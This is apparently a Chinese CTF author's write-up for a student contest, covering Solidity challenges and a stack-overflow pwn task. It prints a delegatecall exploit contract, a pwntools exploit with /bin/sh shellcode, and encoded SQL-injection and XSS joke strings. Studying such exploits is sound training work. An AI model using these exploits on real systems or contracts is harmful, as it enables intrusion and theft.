WL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2vTmls77yM5LiA5p2vTnVsbOWSjOS4gOadr05vbmUN\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b6YWS5ZCn77yM5Y+m5Liq5LiA5biI56iL5bel6LWw5Lmf6L+b5ZCn6YWSDc==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM55So5LiA5Z2X6ZKx6LaK5Y2X55u+6KaB5LqG5LiA5p2v5ZWk6YWS44CCDd==\n5LiA5Liq5rWL6K+V5bel56iL5biI5YiG5Yir5LuO5Zu05aKZ5YaF5ZKM5Zu05aKZ5aSW6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v5ZWk6YWS44CCDd==\n5LiA5Liq5rWL6K+V5bel56iL5biI5omT55S16K+d5Yiw5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5qG25ZWk6YWS44CCDR==\n5LiA5Liq5rWL6K+V5bel56iL5biI5Y+r5LiK5Yeg55m+5Y+35YWE5byf5Yiw5LiA5a626YWS5ZCn77yM5LiA6LW36KaB5LiA5p2v5ZWk6YWS44CCDS==\n5LiA5Liq5rWL6K+V5bel56iL5biI55S35omu5aWz6KOF5Yiw5LiA5a626YWS5ZCn77yM5LiK5aWz5Y6V6KaB5LiA5p2v5ZWk6YWS44CCDV==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b6YWS5ZCn77yM6KaB5LqG5LiA5p2vIj5fDd==\n5LiA5Liq5rWL6K+V5bel56iL5biI55uX55So6ICB5p2/6Lqr5Lu96LWw6L+b5LqG6YWS5ZCn77yM6L+b5LqG5ZCO5Y+w5pS+5LqG5LiA55O25oiR6Ieq5bex55qE6YWSDc==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b6YWS5ZCn77yM5Zyo5ZCn5Y+w5pS+5LqG5LiA5p2vJyBhbmcgMT0xDc==\n5LiA5Liq5rWL6K+V5bel56iL5biI5Lus5ruh5oSP5Zyw56a75byA5LqG6YWS5ZCn44CCDc==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCnLDxzY3JpcHQ+YWxlcnQi6KaB5LqG5LiA5p2v6YWSIjs8L3NjcmlwdD4N\n5LiA5Liq5rWL6K+V5bel56iL5biI6Lez6L+b5LiA5a626YWS5ZCnDR==\n5LiA5Liq5rWL6K+V5bel56iL5biI6JKZ552A55y8552b77yM5YCS6YCA552A6LWw6L+b5LiA5a626YWS5ZCn44CCDR==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v576O5Zu95ZWk6YWS77yM5LiA5p2v5b635Zu95ZWk6YWS77yM5LiA5p2v5q+U5Yip5pe25ZWk6YWS77yM5LiA5p2v6Z2S5bKb5ZWk6YWS77yI5LqU5Y6C77yJ44CCDY==\n5LiA5Liq6YWS6YeP5Li66Zu255qE5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn44CCDd==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM5oqK5LiA5oqK6auY6ISa5qSF5pCs5Yiw5a6k5aSW5Z2R5LiK5Y6777yM5Y+I56uZ6LW35p2l5Y+I5Z2R5LiK5Y675Y+I56uZ6LW35p2lDR==\n5LiA5LiH5Liq5rWL6K+V5bel56iL5biI5Zyo6YWS5ZCn6Zeo5aSW5ZG85ZW46ICM6L+HDb==\n5rWL6K+V5bel56iL5biI5Lus5ruh5oSP5Zyw56a75byA5LqG6YWS5ZCn44CCDZ==\n54S25ZCO5LiA5ZCN6aG+5a6i54K55LqG5LiA5Lu954KS6aWt77yM6YWS5ZCn54K45LqGDf==\n5L2g5rC46L+c5LiN55+l6YGT5L2g55qE55So5oi35Lya6L6T5YWl5LuA5LmI77yB6K+35ZaE5b6F56iL5bqP44CCLS0tLS0tLS3mnaXoh6rkuI3lgZzlnKjkv67mlLlidWfnmoTpgIblkJHlh7rpopjkurpsanpqc2N=";
cout<<B<<endl;
cout<<C<<endl;
}
int main(){
string A;
cout<<"Please enter it freely, because it is useless, haha"<<endl;
cin>>A;
cout<<"your inputs :"<<A<<endl;
//flag();
return 0;
}
题目出的不好,各个版本的解密脚本解出来的东西稀奇古怪。有时间研究一下怎么回事。
艹,这两道区块链可把我整的差一点残废了。一开始我打算使用皮卡丘师傅的docker,但是docker不知道咋回事,连不上链,导致我无法使用这个玩意。但是我又不想放弃区块链的想法,于是乎就只能退回到大家一起骑马的题目模式。通过事件,将自己的邮箱留在区块的日志里,然后当我检测到此日志的时候,就会往邮箱中发送flag。
第一道题没有任何的限制,只需要大家和合约进行交互即可。
pragma solidity ^0.5.13;
contract HelloWorld {
string hello = "Welcome to cumtctfwinter!!! You will find this so easy ~ Happy happy :D";
event SendFlag(string email);
function getflag(string memory email) public returns(string memory){
emit SendFlag(email);
return hello;
}
}
pragma solidity ^0.5.13;
contract Contract{//虚合约
function getflag(string memory email) public returns(string memory);
}
contract Exploit {//攻击合约
Contract instance;
constructor()public{//构造函数
address _parm = 0x3b3f5c608d1c8AF28635817A937911F91EC68f24;
instance = Contract(_parm);//实例化目标合约
}
function getflag(string memory email) public returns(string memory){
return instance.getflag(email);
}
}
执行完成之后,即可将自己的邮箱添加到log中。
让人心寒题目之一,很简单的一道交互题目,本意就是让大家熟悉一下区块链。但是真正愿意研究的同学很少,只有几个19级的学弟们在研究。18级的兄弟们好像研究的不是很多。送分题之一,只需要一点点科研精神。
艹,这题真的给我头都想烂了。本身代码都写好测试好了,结果docker不能用。起初这道题是一个人一个合约,通过delegatecall的性质来获得合约权限,通过这个函数将原本的合约函数绑到一个假函数上,然后需要选手们重构假函数,在假函数中完成合约的窃取。但是由于突然间需要所有人使用一个合约,导致原本的思路就作废了。因为如果有一个人的打通了,那么其他人可以使用前一个人的函数直接打通合约。而且如果有一个人没打通,导致合约的调用受到损坏,则可能整个合约无法正常使用。干最后只能将题目的难度继续降,只要选手们能理解delegatecall中的漏洞即可直接打通合约。
相较上一道题目直接的互动,本题需要首先理解合约中的组件,其次掌握delegatecall的调用规则,利用漏洞绕过owner的判断,最终完成挑战。
下一次,我一定要把docker修好!!!!!!!!!!好气呀!!!!!
pragma solidity ^0.4.23;
contract hanker {
address public owner;
address public nameContract;
uint hellocumtname;
string hello = "Welcome to cumtctfwinter!!! You will find this so easy ~ Happy happy :D";
event SendFlag(string email);
bytes4 constant set = bytes4(keccak256("changename(uint256)"));
constructor() public {
nameContract = 0x746C5707Bfd8a4Be44332F21AC78A28e9340a9F4;
owner = msg.sender;
}
function getflag(string memory email) public{
require(msg.sender == owner);
emit SendFlag(email);
}
function setname(uint _namenow) public {
nameContract.delegatecall(set, _namenow);
}
}
contract nameContract {
uint hellocumtname;
function changename(uint _name) public {
hellocumtname = _name;
}
}
pragma solidity ^0.4.23;
contract hanker{//虚合约
function getflag(string memory email) public;
function setname(uint _timeStamp) public;
}
contract Exploit {//攻击合约
hanker instance;
constructor()public{//构造函数
address _parm = 0x8862090A79412D034d9Fb8C9DBFd3194C8D2a2EE;
instance = hanker(_parm);//实例化目标合约
}
function getflag(string memory email) public returns(string memory){
instance.getflag(email);
}
function setname(uint _mlc){
instance.setname(_mlc);
}
}
这道题目因为没有docker的原因,基本上就没什么难度,就当成愿意研究区块链同学们的奖励分数吧。唯一一个问题就是,合约交互的时候涉及合约调用合约的情况,导致很多同学的其实做法是对的,但是因为gas不够被拒绝执行协议了。
哈哈哈哈,这道是真签到题,我花了10分钟自学了一下如何制作gif就把这题目整出来的。
啊,我很抱歉。这道题目有想法但是不太会出。当时第一次在pwnable上做这道题目的时候,就被他的静态编译的简洁震惊了。于是想要给大家复现一道真正的栈题目。于是我有两种选择,重新从头构建这道题目,尽可能地避免与网上的重复,加入自己的思想。但是很不幸,我失败了,由于学术不精与时间紧迫,我被卡在了最后一步,我并不会将程序的符号表进行剥离导致我自己编的程序并不能给人一种惊艳的感觉。于是我放弃了我之前的所有代码,开始对pwnable上的源码进行patch。但是有一个很致命的问题,就是这道题目的汇编代码直接上网搜索就可以找到原题。并且由于程序已经是极简的了(如 xor eax,eax 清零),我不能对程序进行大范围的魔改。但是我对程序进行了尽可能大的修改,可能去搜索原题会稍微的费一点时间。还是希望大家可以认真的学习一下,学到点自己的真本事。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#r = remote('chall.pwnable.tw',10000)
r = process('./start1')
heap = ELF('./start1')
#libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('/lib32/libc-2.23.so')
context.log_level = 'debug'
shellcode ='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
addr=0x08048087
#gdb.attach(r)
r.recv()
r.send("1"*16+p32(addr))
adrresp = u32(r.recv(4))+16
log.success('adrresp:\t' + hex(adrresp))
r.recv()
#gdb.attach(r)
r.send("B"*16+p32(adrresp)+shellcode)
r.interactive()
#CUMTCTF{Hello_pwn_this_is_stack_overfl0w}
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!